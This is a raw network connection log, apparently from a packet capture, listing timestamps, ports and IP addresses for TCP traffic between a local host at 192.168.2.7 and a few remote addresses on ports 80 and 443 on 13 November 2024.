Nov 13, 2024 14:41:33.548356056 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548373938 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548387051 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548398972 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548408031 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548412085 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548434973 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548434973 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548449993 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548458099 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548463106 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548475981 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548489094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548495054 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548526049 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548527002 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548540115 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548552990 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548563004 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548566103 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548579931 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548604965 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548618078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548630953 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548639059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548643112 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548659086 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548661947 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548686981 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548705101 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548718929 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548726082 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548741102 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548748016 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548753023 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548767090 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548780918 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548789978 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548804045 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548820019 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548823118 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548834085 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548847914 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548861027 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548868895 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548881054 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548898935 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548901081 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548917055 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548924923 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548928976 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548949957 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548974991 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548980951 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548989058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549006939 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549014091 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549021006 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549026966 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549036980 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549043894 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549068928 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549097061 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549103022 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549109936 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549124002 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549139977 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549151897 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549160957 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549190044 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549252033 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549293041 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549361944 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549397945 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549397945 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549412966 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549424887 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549437046 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549438953 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549449921 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549463034 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549465895 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549496889 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549504042 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549503088 CET	443	49897	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.549520016 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549530029 CET	443	49897	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.549532890 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549546003 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549556971 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549570084 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549582005 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549587011 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549591064 CET	49897	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.549597979 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549597979 CET	443	49897	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.549619913 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549640894 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549669027 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549679995 CET	443	49897	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.549681902 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549694061 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549705029 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549707890 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549724102 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549740076 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549751997 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549760103 CET	49897	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.549762964 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549767017 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549781084 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549802065 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549822092 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.549913883 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549954891 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549968004 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549987078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.549995899 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550000906 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550014973 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550029993 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550055981 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550064087 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550076962 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550084114 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550091028 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550103903 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550118923 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550187111 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550196886 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550205946 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550220013 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550232887 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550245047 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550247908 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550263882 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550280094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550282001 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550292969 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550306082 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550324917 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550617933 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550662041 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550673962 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550710917 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550726891 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550740004 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550751925 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550765038 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550782919 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550808907 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550874949 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550889015 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550899982 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550911903 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550924063 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550928116 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550936937 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550951958 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550959110 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.550964117 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550977945 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.550993919 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551018000 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551019907 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551045895 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551059008 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551069975 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551083088 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551095009 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551096916 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551101923 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551115036 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551121950 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551129103 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551155090 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551203966 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551242113 CET	443	49900	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.551290989 CET	49900	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.551306009 CET	443	49900	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.551426888 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551440954 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551453114 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551465034 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551470041 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551490068 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551510096 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551542044 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551553965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551565886 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551578045 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551580906 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551592112 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551604986 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551615953 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551623106 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551630020 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551661968 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551680088 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551695108 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551707983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551718950 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551731110 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551734924 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551743984 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551750898 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551758051 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551772118 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551784039 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551788092 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551798105 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551805973 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551819086 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551830053 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551845074 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551862955 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551867008 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551892996 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551896095 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551904917 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551918030 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551920891 CET	443	49900	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.551930904 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551933050 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551944971 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551970005 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551984072 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.551990032 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.551997900 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552007914 CET	49900	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.552011967 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.552014112 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552040100 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.552057981 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.552104950 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552118063 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552131891 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552144051 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552155018 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.552155972 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552174091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552189112 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552189112 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.552202940 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552212000 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.552217007 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552231073 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552234888 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.552247047 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552257061 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.552258968 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552294016 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.552325964 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.552834988 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552898884 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552913904 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552952051 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.552957058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552972078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552984953 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.552995920 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.552998066 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553018093 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.553035975 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.553112984 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553128958 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553144932 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553155899 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.553157091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553170919 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553183079 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553189039 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.553195953 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553216934 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553231001 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553234100 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.553244114 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553247929 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.553257942 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553267956 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.553271055 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553284883 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553302050 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.553320885 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553335905 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553335905 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.553349972 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553364038 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553371906 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.553378105 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553401947 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553409100 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.553416014 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553426027 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.553431034 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553442001 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.553463936 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.553494930 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.565141916 CET	443	49901	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.565201044 CET	443	49901	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.565207958 CET	49901	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.565295935 CET	49901	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.570379972 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.570422888 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.570430994 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.570481062 CET	49902	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.570492983 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.570535898 CET	49902	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.570630074 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.570683002 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.570705891 CET	49897	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.570719004 CET	443	49897	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.570734978 CET	49902	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.571409941 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.571461916 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.571902990 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.574932098 CET	49900	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.574948072 CET	443	49900	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.575273991 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.575324059 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.575409889 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.576227903 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.576272011 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.577117920 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.577131987 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.582231998 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.582407951 CET	49901	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.582421064 CET	443	49901	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.583035946 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.583076954 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.583240986 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.584645033 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.584660053 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.587812901 CET	49902	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.587821960 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.597044945 CET	443	49884	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:33.598078966 CET	49884	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:33.598146915 CET	443	49884	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:33.598220110 CET	49884	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:33.651385069 CET	443	49898	104.117.247.123	192.168.2.7
